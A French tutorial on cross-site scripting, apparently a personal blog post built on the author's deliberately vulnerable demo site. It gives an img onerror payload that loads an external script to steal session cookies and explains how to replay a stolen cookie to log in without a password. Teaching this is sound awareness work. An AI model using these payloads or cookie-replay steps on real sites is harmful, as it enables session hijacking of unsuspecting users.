Les failles XSS

I. Définition

Le définition de Wikipédia est très correcte, la voici :

Le cross-site scripting (abrégé XSS), est un type de faille de sécurité des sites web permettant d'injecter du contenu dans une page, permettant ainsi de provoquer des actions sur les navigateurs web visitant la page.

Pourquoi l'abrège t'on XCC alors qu'il s'agit d'un acronyme de cross-site scripting ?

Parce que le terme CSS existe déjà, et qu'il fait référence aux feulles de styles utilisées dans un site internet (cascading style sheets). Si vous voulez en savoir davantage, voice le lien Wikipédia sur le CSS.

Ce type de faille est très largement négligé depuis sa découverte par les webmaster (personnes en charge d'un site internet).

Pourtant les expoitation de ces failles sont très vaste. Cela va du simple défacament au vol de session en passant par la contamination de votre ordinateur par un logiciel indésirable (type trojan, keylogger, adware, ou autres...).

Pour illustrer mon propos, j'ai décidé de récréer un site internet qui ressemble beaucoup à ceux qui sont en ligne actuellement et sur lesquels je trouve des failles de sécurité.

Petit précision, je ne me prends pas pour une rockstar du hacking. J'aime trouver des failles pour m'amuser, par défi. C'est un domaine en perpétuel évolution et les techniques d'aujourd'hui sont déjà celles d'hier.

Maintenant que c'est dit, attaquons les choses sérieuse :-)

Voici le repository GitHub qui héberge mon modeste code xss_vulnerable-website.

Le site est visible à cette adresse : http://dev.lfconsult.work/poc/xss_vulnerable-website/home.php

L'idée est simple. Le site à deux pages visibles pour le public.

HOME.PHP : Page d'accueil. Elle permet de se connecter ou d'effectuer une recherche dans une liste de produits.

SEARCH.PHP : Page de recherche. Elle présente les résultats d'une recherche de produits.

Tous les scripts présents dans ce code ne sont pas sécurisés. Même si cela peut paraître complétement loufoque pour certains, c'est le cas de beaucoup de sites internet.

II. Rechercher une faille

C'est un grand sujet que j'ouvre ici... En effet, la liste est longue...

On va dons rester concentrer sur les attaques basiques.

Tout d'abord, il faut trouver une entrée, une variable que nous pouvons envoyer dans le site internet.

Généralement, c'est toujours la même chose, un formulaire de recherche, des commentaires, partout où un utilisateur peut saisir quelque chose.

Pour faire simple, il existe deux types d'objectifs.

a. Mettre à mal l'intégrité du site internet

Cet objectif à pour but de pénétrer dans la base de données du site, de trouver des moyens de modifier / ajouter des fichiers dans le serveur.

b. Viser les visiteurs du site

L'idée est de ne rien toucher au site internet, d'être le plus discret possible, et de voler des sessions ou distribuer des malwares.

Nous allons nous focaliser sur le point petit b.

III.Exploiter une faille

Voici notre objectif, pouvoir se connecter en tant que John Doe, sans connaître ni son identifiant, ni son mot de passe. Ça vous paraît suprenant ? Et pourtant c'est possible. En effet, un stystème très largement utilisé par les sites internet consiste, une fois que vous vous êtes connecté à un site internet, à conserver un identifiant unique de session dans un cookie que vous allez conserver sur votre ordinateur.

Exemple pratique :

  • Bob se connecte au site A.
  • Bob saisi les informations de connexion (nom d'utilisateur et mot de passe)
  • Le site A vérifie les informations de Bob
  • Tout est correct, le site A génère un identifiant (par exemple 123456789)
  • Le site A enregistre que l'identifiant 123456789 correspondt à Bob
  • Le site A envoi un cookie à Bob qui contient cet identifiant
  • À présent, Bob n'a plus besoin de saisir ces identifiants pour accéder au site A car à chaque fois qu'il va accéder à une page protégée du site A, le cookie de Bob sera transmit au site A qui vérifiera à qui il appartient et, si il apparatient à quelqu'un, va lui présenter le contenu de page correspondant

Je passe volontairement sur tous les aspects techniques qui n'ont pas vraiment d'intérêt ici.

Notre objectif est de récupérer ce fameux identifiant.

On va pour cela, trouver une faille, injecter un script dans la page et récupérer les identifiants.

Si vous allez sur cette page vous allez voir la page pour les visiteurs non-connectés. Si vous saisissez des identifiants au hasard dans la zone pour vous identifier, vous allez constater un refus d'authentification.

Si, par contre, vous utilisez john comme nom d'utilisateur et doe comme mot de passe, vous allez pénétrer dans la zone pour les administrateurs.

Si vous cliquez sur le lien "logout" de la page des administrateurs, vous allez être redirigé vers la page pour les visiteurs.

Ceci est un comportement normal.

Si vous saisissez manger dans la zone de recherche, vous allez attérir sur la page de résultats des produits.

Commençons, rendez-vous sur cette page : http://dev.lfconsult.work/poc/xss_vulnerable-website/home.php.

Saisissez les identifiants de connexion pour accéder à l'interface administrateur.

Utilisez john comme nom d'utilisateur et doe comme mot de passe.

Une fois connecté, nous allons effectuer une recherche.

Dans le champs pour chercher quelque chose, saisissez :

<script>alert('Mon test')</script>

Cette commande, c'est du JavaScript. À ne pas confondre avec Java. Elle permet d'afficher une fentêtre pour dire un message.

Ensuite, cliquez sur le bouton Search what I want.

Magie, nous avons déjà visité la page de recherche tout à l'heure et nous n'avions pas vu de message. Cette fois nous constatons un message qui apparaît. Nous avons trouvé une faille :-)

Bravo !

Reste maintenant à l'exploiter.

Revenons sur la page d'accueil de notre site de test. Nous allons modifier le code à insérer dans le champs de recherche pour inclure un fichier JavaScript externe à l'intérieur de la page des résultats. Voici le code :

<img src=x onerror="var s=document.createElement('script');s.setAttribute('src','http://dev.lfconsult.work/poc/xss_vulnerable-website/evil_script.js');document.getElementsByTagName('head').item(0).appendChild(s);" />

Le code va insérer un script externe à l'intérieur de la page.

Cliquer ensuite sur le bouton Search what I want.

Un message va apparaître pour vous remercier. Si vous cliquez sur OK vous allez accéder à la page de résultats.

J'ai ajouter cette boite de dialogue pour vous montrer qu'il se passe quelque chose. Mais mon interêt serait de ne rien faire apparaître pour ne pas vous alerter de quoi que se soit.

Sans que vous ne puissiez faire quoi que se soit, votre identifiant de connexion a été capturé puis envoyer sur un fichier présent sur mon serveur.

Cet exemple n'est pas très intéressant car nous venons de nous voler notre propre identifiant.

Rendez-vous à cette adresse http://dev.lfconsult.work/poc/xss_vulnerable-website/logout.php pour vous déconnecter.

Ouvrez un nouvel onglet et rendez-vous à cette adresse : http://dev.lfconsult.work/poc/xss_vulnerable-website/cookies.txt.

Ce fichier contient les cookies volés sur notre site de test.

Copiez la valuer d'un des cookies qui est dans ce fichier, par exemple :
f573c26adc3cafc0a5093a3df82b2cb1

En fonction du navigateur que vous utilisez, vous allez devoir utiliser un petit outil pour éditer manuellement vos cookies.

Pour Firefox : Cookie manager

Pour Chrome : Edit this cookie

Il ne suffit plus qu'à saisir le nom (ici user_session) et la valeur du cookie dans un des deux outils que nous venons d'installer.

Vous rechargez votre page et là, c'est le miracle, nous sommes connectés alors que nous n'avons pas saisi de mot de passe...

IV. Que faire ?

Premièrement, si vous avez cliqué sur tous les liens que je vous ai présentés ci-dessus sans regarder vers où ils mènent, vous êtes une cible parfaite pour ces attaques.

Vous devez être d'autant plus prudent sur les réseaux sociaux.

Si je vous demande de composer le 08-99-76-77-** avec votre téléphone portable, allez-vous le faire sans vous demander si l'appel sera payant ?

Surement pas. Ayez le même réflexe quand vous naviguer sur internet.

Sources :